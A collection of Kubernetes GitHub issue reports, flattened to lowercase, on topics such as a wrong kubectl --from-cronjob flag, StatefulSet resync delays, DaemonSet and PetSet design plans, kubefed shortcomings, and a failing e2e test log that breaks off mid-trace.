 \r   what happened  :\r kubectl create job --from-cronjob : unknown flag: --from-cronjob\r \r   what you expected to happen  :\r a job to be created with the syntax provided by the cli help.\r \r   how to reproduce it  as minimally and precisely as possible   :\r kubectl create job test --from-cronjob=existingcron\r \r   anything else we need to know?  :\r according to  60039, the proper syntax is --from-cronjob. \r however, it is clear after testing that the right syntax is --from=cronjob/cron  no issue with actual feature \r \r the cli help documentation is equally confused and needs to be updated. see the inaccurate usage below - while the right syntax is provided twice before.\r \r    \r examples:\r     create a job from a cronjob named \ a-cronjob\ \r   kubectl create job --from=cronjob/a-cronjob\r \r options:\r        ... \r       --from='': the name of the resource to create a job from  only cronjob is supported .\r        ... \r usage:\r   kubectl create job name  --from-cronjob=cronjob   flags   options \r \r unknown flag: --from-cronjob\r    \r \r issue  61787 was opened for the same issue and the patch did not fix this.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.4\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r   what happened  :\r we have more than 10000 statefulsets in kubernetes. every time statefulset controller resyncing, the normal events will be blocked to be processed for a long time 3~5min . after inspecting the metric and code of workqueue, i think the workqueue is filled with all the statefulsets sync event when informer resyncing. so, most of the normal events of statefulset or pods must wait for a long time. \r maybe we can treat events triggered by resync type  sync   as lower  normal events. to support this, event type should be passed down to  resourceeventhandlerfuncs  and workqueue should support  \r   what you expected to happen  :\r the operation of statefulsets and normal events of pods should be processed immediately even when controller resyncing.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create large number of statefulsets\r 1. delete pods when resyncing\r 1. deleted pod will not be recreated for a long time\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.10\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : centos 7.3\r - kernel  e.g.  uname -a  : 4.10\r - install tools:\r - others:\r

forked from  14326\r \r before daemonset graduates from experimental:\r -  x  it needs to adopt the more general selector, as discussed in  341. this would be very hard to change later.\r \r before daemonset reaches v1beta1, i'd like to see:\r -  x  rolling update as a service, similar in spirit to deployment   1743 . for now, pod template updates are forbidden. however, daemonset should be declarative and should perform rollouts when its template is modified. i envision daemonset creating pod template resources behind the scenes instead of replicationcontroller resources.\r -  x  revert  17318\r \r before daemonset reaches v1, i'd like to see:\r -     either integration into the node controller in order to integrate with node lifecycle, such as creation before other pods can be scheduled and implicit forgiveness behavior   1574 , or use of initializers and finalizers   3585  to achieve the same\r \r @davidopp @mikedanese \r

currently in  pkg/api/types.go  the  securitycontext.runasuser  field lacks a json tag.  we should have a verify script that checks for this.  perhaps we can rename the  verify-description.sh  script to  verify-field.sh  and check that both: 1.  each appropriate field has a json tag 2.  those tags never contain descriptions

from the kubernetes user guide:  http://kubernetes.io/v1.0/docs/user-guide/labels.html  \ each object can have a set of key/value labels defined. each _key_ must be unique for a given object.\   then goes on to list examples:  example labels:      \ release\  : \ stable\ , \ release\  : \ canary\ , ... \ environment\  : \ dev\ , \ environment\  : \ qa\ , \ environment\  : \ production\  \ tier\  : \ frontend\ , \ tier\  : \ backend\ , \ tier\  : \ middleware\  \ partition\  : \ customera\ , \ partition\  : \ customerb\ , ... \ track\  : \ daily\ , \ track\  : \ weekly\       if the examples are keys, then they will obviously not be unique per object.  i think the documentation probably should read something like:  \ each key must have a unique value for a given object.\

export kubernetes_provider=aws export num_nodes=5 export master_size=m4.xlarge export node_size=m4.xlarge export aws_default_profile=devops export kube_aws_zone=us-west-2a export aws_s3_region=us-west-2 export aws_s3_bucket=kant-kubernetes-bucket export vpc_id=vpc-86a33ae2 ​ export kube_vpc_cidr_base=\ 10.100\  export kube_subnet_cidr=\ 10.100.3.0/24\  export non_masquerade_cidr=\ 100.64.0.0/10\  export service_cluster_ip_range=\ 100.64.0.0/16\  export dns_server_ip=\ 100.64.0.10\  export master_ip_range=\ 100.65.0.0/24\  export cluster_ip_range=\ 100.66.0.0/16\       i used the above configuration to bring up the cluster as recommended in this doc https://github.com/kubernetes/kubernetes/blob/master/cluster/aws/options.md however the dns lookup between services don't seem to work as   kube-dns   points to 10.0.0.10 while the   cluster-dns   points to  100.64.0.10.  i am using kubernetes 1.2.4 release version

pod lifecycles currently take the following path:      1. init container: environment setup 2. entrypoint: application 3. post start: might execute before entrypoint 4. liveness/readiness probe: these are for health, but sometimes misused to deliver events 5. pre stop 6. terminationgrace: environment teardown  all these hooks revolve around a single container. often clustered applications need to react to operations performed on their peers, or re-organized themselves in different topologies. doing so with the existing hooks is a challenge.   i'd like us to consider the implications of a bi-directional messaging system between petset controller/node-agents, that allow people to write simple custom babysitters. something like: 1. petset controller proposes an action 2. proposal delivered through to node agent 3. node agent can do 2 things    1. claim the action for itself  eg: i'll kill a pet, you back off     2. acks/nacks action after setup  eg: you're about to kill pet-0, i'll snapshot  4. petset controller takes necessary actions  there are various ways to achieve each of these 4 stages 1. petset controller proposes action    1. controller writes something to each pet/single babysitter    2. controller broadcasts and assumes node agent has watch open 2. action delivered to node    1. kubelet: add more lifecycle events to pods, have kubelet deliver them when petset controller writes to pod spec  https://github.com/kubernetes/kubernetes/issues/24957 .     2. centralized, external management: insert a special  babysitter: podtemplate  field in petset, come up with a communication protocol between petset and the one pod in this field.     3. decentralized, external management: every pet runs a standard sidecar/entrypoint that understands how to communicate with petset controller on the master. sidecars might communicate amongst themselves through a private datastore.  3. pet acks/nacks proposal    1. through a free form probe / custom metrics scraped by kubelet and reported as podcondition  https://github.com/kubernetes/kubernetes/issues/28658     2. same free form probe, but its on a babysitter    3. writing directly to petset annotations  delegating to a single babysitter seems easiest, but we then have the problem of babysitter locking/ha.  example use cases include snapshot/restore across upgrade-rollback, routing a sigterm to !master on scale down, role transfer  i'm about to kill your seed nodes for upgrade, make something else the seeds  and probably several more.   @smarterclayton

kubefed   tool, which is used to deploy a federation control plane:\r \r 1 - does not do a very good job of giving status information to the end user. if the operations take long time it appears to be hung  especially kubefed init .\r 2 - there is a possibility that the deployed pods of the federation control plane, do not come up successfully, in such a scenario the kubefed init will wait indefinitely. ideally, there could be a timeout set to override this behavior  issue  43123 .\r 3 - if some operation fails midway of overall execution, the tool should ideally clean up all of the objects that it creates into host cluster or target cluster before exiting.\r 4 - there should ideally be a kubefed deinit which can enable removing the federation control plane deployment from the host cluster.\r 5 - both kubefed init and kubefed join can create service accounts to access either the underlying cluster or joining clusters; a workaround is needed such that dns-1123 subdomain naming is not violated while doing this. refer https://github.com/kubernetes/kubernetes/issues/50888.

in 1.6 taints will be represented as a field of nodespec, rather than as an annotation on node.\r the kubelet --register-with-taints feature needs to change accordingly.\r we are not providing backward compatibility, as taints were an alpha feature.  starting in 1.6 they are beta.  the taint annotation will be ignored by the scheduler when the cluster is upgraded to 1.6.\r \r someone from the node team fix this asap.\r \r cc/ @kubernetes/sig-node-bugs @kubernetes/sig-node-feature-requests \r cc/ @dchen1107 @yujuhong \r cc/ @justinsb to be aware of this, for kops etc.\r cc/ @kubernetes/sig-cluster-lifecycle-misc \r

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-examples/4143/ multiple broken tests:  failed:  k8s.io   feature:example   k8s.io  cassandrastatefulset should create statefulset {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:333 expected error:     <exec.codeexiterror>: {         err: {             s: \ error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.184.180.76 --kubeconfig=/workspace/.kube/config create -f examples/storage/cassandra/cassandra-service.yaml --namespace=e2e-tests-examples-ws3zk      <nil>  error: the path \\\ examples/storage/cassandra/cassandra-service.yaml\\\  does not exist\     <nil> 0xc42156c570 exit status 1 <nil> <nil> true  0xc42019aab0 0xc42019aaf0 0xc42019ab38   0xc42019aab0 0xc42019aaf0 0xc42019ab38   0xc42019aad8 0xc42019ab28   0xc45f00 0xc45f00  0xc420fc3860 <nil>}:\ command stdout:\ \ stderr:\ error: the path \\\ examples/storage/cassandra/cassandra-service.yaml\\\  does not exist\ \ error:\ exit status 1\ \ ,         },         code: 1,     }     error running &{/workspace/kubernetes/platforms/linux/amd64/kubectl  kubectl --server=https://35.184.180.76 --kubeconfig=/workspace/.kube/config create -f examples/storage/cassandra/cassandra-service.yaml --namespace=e2e-tests-examples-ws3zk      <nil>  error: the path \ examples/storage/cassandra/cassandra-service.yaml\  does not exist         <nil> 0xc42156c570 exit status 1 <nil> <nil> true  0xc42019aab0 0xc42019aaf0 0xc42019ab38   0xc42019aab0 0xc42019aaf0 0xc42019ab38   0xc42019aad8 0xc42019ab28   0xc45f00 0xc45f00  0xc420fc3860 <nil>}:     command stdout:          stderr:     error: the path \ examples/storage/cassandra/cassandra-service.yaml\  does not exist          error:     exit status 1      not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2095     issues about this test specifically:  36323  36469  38222   failed: test {e2e.go}      exit status 1     issues about this test specifically:  33361  38663  39788  39877  40371  40469  40478  40483  40668  41048   failed:  k8s.io   feature:example   k8s.io  cassandra should create and scale cassandra {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:261 expected error:     < errors.errorstring | 0xc421ad8740>: {         s: \ failed to find \\\ starting listening for cql clients\\\ , last result: \\\ starting cassandra on 10.180.2.7\ cassandra_conf_dir /etc/cassandra\ cassandra_cfg /etc/cassandra/cassandra.yaml\ cassandra_auto_bootstrap true\ cassandra_broadcast_address 10.180.2.7\ cassandra_broadcast_rpc_address 10.180.2.7\ cassandra_cluster_name 'test cluster'\ cassandra_compaction_throughput_mb_per_sec\ cassandra_concurrent_compactors\ cassandra_concurrent_reads\ cassandra_concurrent_writes\ cassandra_counter_cache_size_in_mb\ cassandra_dc\ cassandra_disk_optimization_strategy ssd\ cassandra_endpoint_snitch simplesnitch\ cassandra_gc_warn_threshold_in_ms\ cassandra_internode_compression\ cassandra_key_cache_size_in_mb\ cassandra_listen_address 10.180.2.7\ cassandra_listen_interface\ cassandra_memtable_allocation_type\ cassandra_memtable_cleanup_threshold\ cassandra_memtable_flush_writers\ cassandra_migration_wait 1\ cassandra_num_tokens 32\ cassandra_rack\ cassandra_ring_delay 30000\ cassandra_rpc_address 0.0.0.0\ cassandra_rpc_interface\ cassandra_seeds cassandra-bq6zt\ cassandra_seed_provider io.k8s.cassandra.kubernetesseedprovider\ changed ownership of '/etc/cassandra/cassandra-env.sh' from root to cassandra\ changed ownership of '/etc/cassandra/cassandra.yaml' from root to cassandra\ changed ownership of '/etc/cassandra/jvm.options' from root to cassandra\ changed ownership of '/etc/cassandra/logback.xml' from root to cassandra\ changed ownership of '/etc/cassandra' from root to cassandra\ openjdk 64-bit server vm warning: cannot open file /usr/local/apache-cassandra-3.9/logs/gc.log due to no such file or directory\ \ info  20:36:38 configuration location: file:/etc/cassandra/cassandra.yaml\ info  20:36:39 node configuration: allocate_tokens_for_keyspace=null; authenticator=allowallauthenticator; authorizer=allowallauthorizer; auto_bootstrap=true; auto_snapshot=true; batch_size_fail_threshold_in_kb=50; batch_size_warn_threshold_in_kb=5; batchlog_replay_throttle_in_kb=1024; broadcast_address=10.180.2.7; broadcast_rpc_address=10.180.2.7; buffer_pool_use_heap_if_exhausted=true; cas_contention_timeout_in_ms=1000; cdc_enabled=false; cdc_free_space_check_interval_ms=250; cdc_raw_directory=null; cdc_total_space_in_mb=null; client_encryption_options=<redacted>; cluster_name=test cluster; column_index_cache_size_in_kb=2; column_index_size_in_kb=64; commit_failure_policy=stop; commitlog_compression=null; commitlog_directory=/cassandra_data/commitlog; commitlog_max_compression_buffers_in_pool=3; commitlog_periodic_queue_size=-1; commitlog_segment_size_in_mb=32; commitlog_sync=periodic; commitlog_sync_batch_window_in_ms=null; commitlog_sync_period_in_ms=10000; commitlog_total_space_in_mb=null; compaction_large_partition_warning_threshold_mb=100; compaction_throughput_mb_per_sec=16; concurrent_compactors=null; concurrent_counter_writes=32; concurrent_materialized_view_writes=32; concurrent_reads=32; concurrent_replicates=null; concurrent_writes=32; counter_cache_keys_to_save=2147483647; counter_cache_save_period=7200; counter_cache_size_in_mb=null; counter_write_request_timeout_in_ms=5000; credentials_cache_max_entries=1000; credentials_update_interval_in_ms=-1; credentials_validity_in_ms=2000; cross_node_timeout=false; data_file_directories= ljava.lang.string;@11dc3715; disk_access_mode=auto; disk_failure_policy=stop; disk_optimization_estimate_percentile=0.95; disk_optimization_page_cross_chance=0.1; disk_optimization_strategy=ssd; dynamic_snitch=true; dynamic_snitch_badness_threshold=0.1; dynamic_snitch_reset_interval_in_ms=600000; dynamic_snitch_update_interval_in_ms=100; enable_scripted_user_defined_functions=false; enable_user_defined_functions=false; enable_user_defined_functions_threads=true; encryption_options=null; endpoint_snitch=simplesnitch; file_cache_size_in_mb=null; gc_log_threshold_in_ms=200; gc_warn_threshold_in_ms=1000; hinted_handoff_disabled_datacenters=  ; hinted_handoff_enabled=true; hinted_handoff_throttle_in_kb=1024; hints_compression=null; hints_directory=/cassandra_data/hints; hints_flush_period_in_ms=10000; incremental_backups=false; index_interval=null; index_summary_capacity_in_mb=null; index_summary_resize_interval_in_minutes=60; initial_token=null; inter_dc_stream_throughput_outbound_megabits_per_sec=200; inter_dc_tcp_nodelay=false; internode_authenticator=null; internode_compression=all; internode_recv_buff_size_in_bytes=null; internode_send_buff_size_in_bytes=null; key_cache_keys_to_save=2147483647; key_cache_save_period=14400; key_cache_size_in_mb=null; listen_address=10.180.2.7; listen_interface=null; listen_interface_prefer_ipv6=false; listen_on_broadcast_address=false; max_hint_window_in_ms=10800000; max_hints_delivery_threads=2; max_hints_file_size_in_mb=128; max_mutation_size_in_kb=null; max_streaming_retries=3; max_value_size_in_mb=256; memtable_allocation_type=heap_buffers; memtable_cleanup_threshold=null; memtable_flush_writers=1; memtable_heap_space_in_mb=null; memtable_offheap_space_in_mb=null; min_free_space_per_drive_in_mb=50; native_transport_max_concurrent_connections=-1; native_transport_max_concurrent_connections_per_ip=-1; native_transport_max_frame_size_in_mb=256; native_transport_max_threads=128; native_transport_port=9042; native_transport_port_ssl=null; num_tokens=32; otc_coalescing_strategy=timehorizon; otc_coalescing_window_us=200; partitioner=org.apache.cassandra.dht.murmur3partitioner; permissions_cache_max_entries=1000; permissions_update_interval_in_ms=-1; permissions_validity_in_ms=2000; phi_convict_threshold=8.0; prepared_statements_cache_size_mb=null; range_request_timeout_in_ms=10000; read_request_timeout_in_ms=5000; request_scheduler=org.apache.cassandra.scheduler.noscheduler; request_scheduler_id=null; request_scheduler_options=null; request_timeout_in_ms=10000; role_manager=cassandrarolemanager; roles_cache_max_entries=1000; roles_update_interval_in_ms=-1; roles_validity_in_ms=2000; row_cache_class_name=org.apache.cassandra.cache.ohcprovider; row_cache_keys_to_save=2147483647; row_cache_save_period=0; row_cache_size_in_mb=0; rpc_address=0.0.0.0; rpc_interface=null; rpc_interface_prefer_ipv6=false; rpc_keepalive=true; rpc_listen_backlog=50; rpc_max_threads=2147483647; rpc_min_threads=16; rpc_port=9160; rpc_recv_buff_size_in_bytes=null; rpc_send_buff_size_in_bytes=null; rpc_server_type=sync; saved_caches_directory=/cassandra_data/saved_caches; seed_provider=io.k8s.cassandra.kubernetesseedprovider{seeds=cassandra-bq6zt}; server_encryption_options=<redacted>; snapshot_before_compaction=false; ssl_storage_port=7001; sstable_preemptive_open_interval_in_mb=50; start_native_transport=true; start_rpc=false; storage_port=7000; stream_throughput_outbound_megabits_per_sec=200; streaming_socket_timeout_in_ms=86400000; thrift_framed_transport_size_in_mb=15; thrift_max_message_length_in_mb=16; thrift_prepared_statements_cache_size_mb=null; tombstone_failure_threshold=100000; tombstone_warn_threshold=1000; tracetype_query_ttl=86400; tracetype_repair_ttl=604800; transparent_data_encryption_options=org.apache.cassandra.config.transparentdataencryptionoptions@69930714; trickle_fsync=false; trickle_fsync_interval_in_kb=10240; truncate_request_timeout_in_ms=60000; unlogged_batch_across_partitions_warn_threshold=10; user_defined_function_fail_timeout=1500; user_defined_function_warn_timeout=500; user_function_timeout_policy=die; windows_timer_interval=1; write_request_timeout_in_ms=2000 \ info  20:36:39 diskaccessmode 'auto' determined to be mmap, indexaccessmode is mmap\ info  20:36:39 global memtable on-heap threshold is enabled at 128mb\ info  20:36:39 global memtable off-heap threshold is enabled at 128mb\ exception  org.apache.cassandra.exceptions.configurationexception  encountered during startup: io.k8s.cassandra.kubernetesseedprovider\ fatal configuration error; unable to start server.  see log for stacktrace.\ org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider\ fatal configuration error; unable to start server.  see log for stacktrace.\ \\tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782 \ \\tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730 \ error 20:36:39 exception encountered during startup\ org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider\ fatal configuration error; unable to start server.  see log for stacktrace.\ \\tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782  ~ apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125  ~ apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9 \ \\\ \ ,     }     failed to find \ starting listening for cql clients\ , last result: \ starting cassandra on 10.180.2.7     cassandra_conf_dir /etc/cassandra     cassandra_cfg /etc/cassandra/cassandra.yaml     cassandra_auto_bootstrap true     cassandra_broadcast_address 10.180.2.7     cassandra_broadcast_rpc_address 10.180.2.7     cassandra_cluster_name 'test cluster'     cassandra_compaction_throughput_mb_per_sec     cassandra_concurrent_compactors     cassandra_concurrent_reads     cassandra_concurrent_writes     cassandra_counter_cache_size_in_mb     cassandra_dc     cassandra_disk_optimization_strategy ssd     cassandra_endpoint_snitch simplesnitch     cassandra_gc_warn_threshold_in_ms     cassandra_internode_compression     cassandra_key_cache_size_in_mb     cassandra_listen_address 10.180.2.7     cassandra_listen_interface     cassandra_memtable_allocation_type     cassandra_memtable_cleanup_threshold     cassandra_memtable_flush_writers     cassandra_migration_wait 1     cassandra_num_tokens 32     cassandra_rack     cassandra_ring_delay 30000     cassandra_rpc_address 0.0.0.0     cassandra_rpc_interface     cassandra_seeds cassandra-bq6zt     cassandra_seed_provider io.k8s.cassandra.kubernetesseedprovider     changed ownership of '/etc/cassandra/cassandra-env.sh' from root to cassandra     changed ownership of '/etc/cassandra/cassandra.yaml' from root to cassandra     changed ownership of '/etc/cassandra/jvm.options' from root to cassandra     changed ownership of '/etc/cassandra/logback.xml' from root to cassandra     changed ownership of '/etc/cassandra' from root to cassandra     openjdk 64-bit server vm warning: cannot open file /usr/local/apache-cassandra-3.9/logs/gc.log due to no such file or directory          info  20:36:38 configuration location: file:/etc/cassandra/cassandra.yaml     info  20:36:39 node configuration: allocate_tokens_for_keyspace=null; authenticator=allowallauthenticator; authorizer=allowallauthorizer; auto_bootstrap=true; auto_snapshot=true; batch_size_fail_threshold_in_kb=50; batch_size_warn_threshold_in_kb=5; batchlog_replay_throttle_in_kb=1024; broadcast_address=10.180.2.7; broadcast_rpc_address=10.180.2.7; buffer_pool_use_heap_if_exhausted=true; cas_contention_timeout_in_ms=1000; cdc_enabled=false; cdc_free_space_check_interval_ms=250; cdc_raw_directory=null; cdc_total_space_in_mb=null; client_encryption_options=<redacted>; cluster_name=test cluster; column_index_cache_size_in_kb=2; column_index_size_in_kb=64; commit_failure_policy=stop; commitlog_compression=null; commitlog_directory=/cassandra_data/commitlog; commitlog_max_compression_buffers_in_pool=3; commitlog_periodic_queue_size=-1; commitlog_segment_size_in_mb=32; commitlog_sync=periodic; commitlog_sync_batch_window_in_ms=null; commitlog_sync_period_in_ms=10000; commitlog_total_space_in_mb=null; compaction_large_partition_warning_threshold_mb=100; compaction_throughput_mb_per_sec=16; concurrent_compactors=null; concurrent_counter_writes=32; concurrent_materialized_view_writes=32; concurrent_reads=32; concurrent_replicates=null; concurrent_writes=32; counter_cache_keys_to_save=2147483647; counter_cache_save_period=7200; counter_cache_size_in_mb=null; counter_write_request_timeout_in_ms=5000; credentials_cache_max_entries=1000; credentials_update_interval_in_ms=-1; credentials_validity_in_ms=2000; cross_node_timeout=false; data_file_directories= ljava.lang.string;@11dc3715; disk_access_mode=auto; disk_failure_policy=stop; disk_optimization_estimate_percentile=0.95; disk_optimization_page_cross_chance=0.1; disk_optimization_strategy=ssd; dynamic_snitch=true; dynamic_snitch_badness_threshold=0.1; dynamic_snitch_reset_interval_in_ms=600000; dynamic_snitch_update_interval_in_ms=100; enable_scripted_user_defined_functions=false; enable_user_defined_functions=false; enable_user_defined_functions_threads=true; encryption_options=null; endpoint_snitch=simplesnitch; file_cache_size_in_mb=null; gc_log_threshold_in_ms=200; gc_warn_threshold_in_ms=1000; hinted_handoff_disabled_datacenters=  ; hinted_handoff_enabled=true; hinted_handoff_throttle_in_kb=1024; hints_compression=null; hints_directory=/cassandra_data/hints; hints_flush_period_in_ms=10000; incremental_backups=false; index_interval=null; index_summary_capacity_in_mb=null; index_summary_resize_interval_in_minutes=60; initial_token=null; inter_dc_stream_throughput_outbound_megabits_per_sec=200; inter_dc_tcp_nodelay=false; internode_authenticator=null; internode_compression=all; internode_recv_buff_size_in_bytes=null; internode_send_buff_size_in_bytes=null; key_cache_keys_to_save=2147483647; key_cache_save_period=14400; key_cache_size_in_mb=null; listen_address=10.180.2.7; listen_interface=null; listen_interface_prefer_ipv6=false; listen_on_broadcast_address=false; max_hint_window_in_ms=10800000; max_hints_delivery_threads=2; max_hints_file_size_in_mb=128; max_mutation_size_in_kb=null; max_streaming_retries=3; max_value_size_in_mb=256; memtable_allocation_type=heap_buffers; memtable_cleanup_threshold=null; memtable_flush_writers=1; memtable_heap_space_in_mb=null; memtable_offheap_space_in_mb=null; min_free_space_per_drive_in_mb=50; native_transport_max_concurrent_connections=-1; native_transport_max_concurrent_connections_per_ip=-1; native_transport_max_frame_size_in_mb=256; native_transport_max_threads=128; native_transport_port=9042; native_transport_port_ssl=null; num_tokens=32; otc_coalescing_strategy=timehorizon; otc_coalescing_window_us=200; partitioner=org.apache.cassandra.dht.murmur3partitioner; permissions_cache_max_entries=1000; permissions_update_interval_in_ms=-1; permissions_validity_in_ms=2000; phi_convict_threshold=8.0; prepared_statements_cache_size_mb=null; range_request_timeout_in_ms=10000; read_request_timeout_in_ms=5000; request_scheduler=org.apache.cassandra.scheduler.noscheduler; request_scheduler_id=null; request_scheduler_options=null; request_timeout_in_ms=10000; role_manager=cassandrarolemanager; roles_cache_max_entries=1000; roles_update_interval_in_ms=-1; roles_validity_in_ms=2000; row_cache_class_name=org.apache.cassandra.cache.ohcprovider; row_cache_keys_to_save=2147483647; row_cache_save_period=0; row_cache_size_in_mb=0; rpc_address=0.0.0.0; rpc_interface=null; rpc_interface_prefer_ipv6=false; rpc_keepalive=true; rpc_listen_backlog=50; rpc_max_threads=2147483647; rpc_min_threads=16; rpc_port=9160; rpc_recv_buff_size_in_bytes=null; rpc_send_buff_size_in_bytes=null; rpc_server_type=sync; saved_caches_directory=/cassandra_data/saved_caches; seed_provider=io.k8s.cassandra.kubernetesseedprovider{seeds=cassandra-bq6zt}; server_encryption_options=<redacted>; snapshot_before_compaction=false; ssl_storage_port=7001; sstable_preemptive_open_interval_in_mb=50; start_native_transport=true; start_rpc=false; storage_port=7000; stream_throughput_outbound_megabits_per_sec=200; streaming_socket_timeout_in_ms=86400000; thrift_framed_transport_size_in_mb=15; thrift_max_message_length_in_mb=16; thrift_prepared_statements_cache_size_mb=null; tombstone_failure_threshold=100000; tombstone_warn_threshold=1000; tracetype_query_ttl=86400; tracetype_repair_ttl=604800; transparent_data_encryption_options=org.apache.cassandra.config.transparentdataencryptionoptions@69930714; trickle_fsync=false; trickle_fsync_interval_in_kb=10240; truncate_request_timeout_in_ms=60000; unlogged_batch_across_partitions_warn_threshold=10; user_defined_function_fail_timeout=1500; user_defined_function_warn_timeout=500; user_function_timeout_policy=die; windows_timer_interval=1; write_request_timeout_in_ms=2000      info  20:36:39 diskaccessmode 'auto' determined to be mmap, indexaccessmode is mmap     info  20:36:39 global memtable on-heap threshold is enabled at 128mb     info  20:36:39 global memtable off-heap threshold is enabled at 128mb     exception  org.apache.cassandra.exceptions.configurationexception  encountered during startup: io.k8s.cassandra.kubernetesseedprovider     fatal configuration error; unable to start server.  see log for stacktrace.     org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider     fatal configuration error; unable to start server.  see log for stacktrace.     \tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782      \tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730      error 20:36:39 exception encountered during startup     org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider     fatal configuration error; unable to start server.  see log for stacktrace.     \tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782  ~ apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125  ~ apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9      \  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:250     issues about this test specifically:  27978  28817  39574   failed:  k8s.io   feature:example   k8s.io  hazelcast should create and scale hazelcast {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:571 expected error:     < errors.errorstring | 0xc421852820>: {         s: \ failed to find \\\ members  2 \\\ , last result: \\\ 2017-03-13 20:43:55.828  info 6 ---             main  com.github.pires.hazelcast.application   : starting application on hazelcast-1880832617-gnz9z with pid 6  /bootstrapper.jar started by root in / \ 2017-03-13 20:43:55.855  info 6 ---             main  com.github.pires.hazelcast.application   : no active profile set, falling back to default profiles: default\ 2017-03-13 20:43:55.980  info 6 ---             main  s.c.a.annotationconfigapplicationcontext : refreshing org.springframework.context.annotation.annotationconfigapplicationcontext@14514713: startup date  mon mar 13 20:43:55 gmt 2017 ; root of context hierarchy\ 2017-03-13 20:43:57.487  info 6 ---             main  o.s.j.e.a.annotationmbeanexporter        : registering beans for jmx exposure on startup\ 2017-03-13 20:43:57.504  info 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : asking k8s registry at https://kubernetes.default.svc.cluster.local..\ 2017-03-13 20:43:57.976  warn 6 ---             main  c.g.p.h.hazelcastdiscoverycontroller     : request to kubernetes api failed\ \ java.io.ioexception: server returned http response code: 403 for url: https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/endpoints/hazelcast\ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream0 httpurlconnection.java:1876  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.http.httpurlconnection.getinputstream httpurlconnection.java:1474  ~ na:1.8.0_111 \ \\tat sun.net.www.protocol.https.httpsurlconnectionimpl.getinputstream httpsurlconnectionimpl.java:254  ~ na:1.8.0_111 \ \\tat com.github.pires.hazelcast.hazelcastdiscoverycontroller.run hazelcastdiscoverycontroller.java:118  ~ classes!/:na \ \\tat org.springframework.boot.springapplication.callrunner springapplication.java:801   spring-boot-1.4.4.release.jar!/:1.4.4.release \ \\tat org.springframework.boot.springapplication.callrunners springapplication.java:785   spring-boot-1.4.4.release.jar!/:1.4.4.release \ \\tat org.springframework.boot.springapplication.afterrefresh springapplication.java:772   spring-boot-1.4.4.release.jar!/:1.4.4.release \ \\tat org.springframework.boot.springapplication.run springapplication.java:317   spring-boot-1.4.4.release.jar!/:1.4.4.release \ \\tat org.springframework.boot.builder.springapplicationbuilder.run springapplicationbuilder.java:134   spring-boot-1.4.4.release.jar!/:1.4.4.release \ \\tat com.github.pires.hazelcast.application.main application.java:28   classes!/:na \ \\tat sun.reflect.nativemethodaccessorimpl.invoke0 native method  ~ na:1.8.0_111 \ \\tat sun.reflect.nativemethodaccessorimpl.invoke nativemethodaccessorimpl.java:62  ~ na:1.8.0_111 \ \\tat sun.reflect.delegatingmethodaccessorimpl.invoke delegatingmethodaccessorimpl.java:43  ~ na:1.8.0_111 \ \\tat java.lang.reflect.method.invoke method.java:498  ~ na:1.8.0_111 \ \\tat org.springframework.boot.loader.mainmethodrunner.run mainmethodrunner.java:48   bootstrapper.jar:na \ \\tat org.springframework.boot.loader.launcher.launch launcher.java:87   bootstrapper.jar:na \ \\tat org.springframework.boot.loader.launcher.launch launcher.java:50   bootstrapper.jar:na \ \\tat 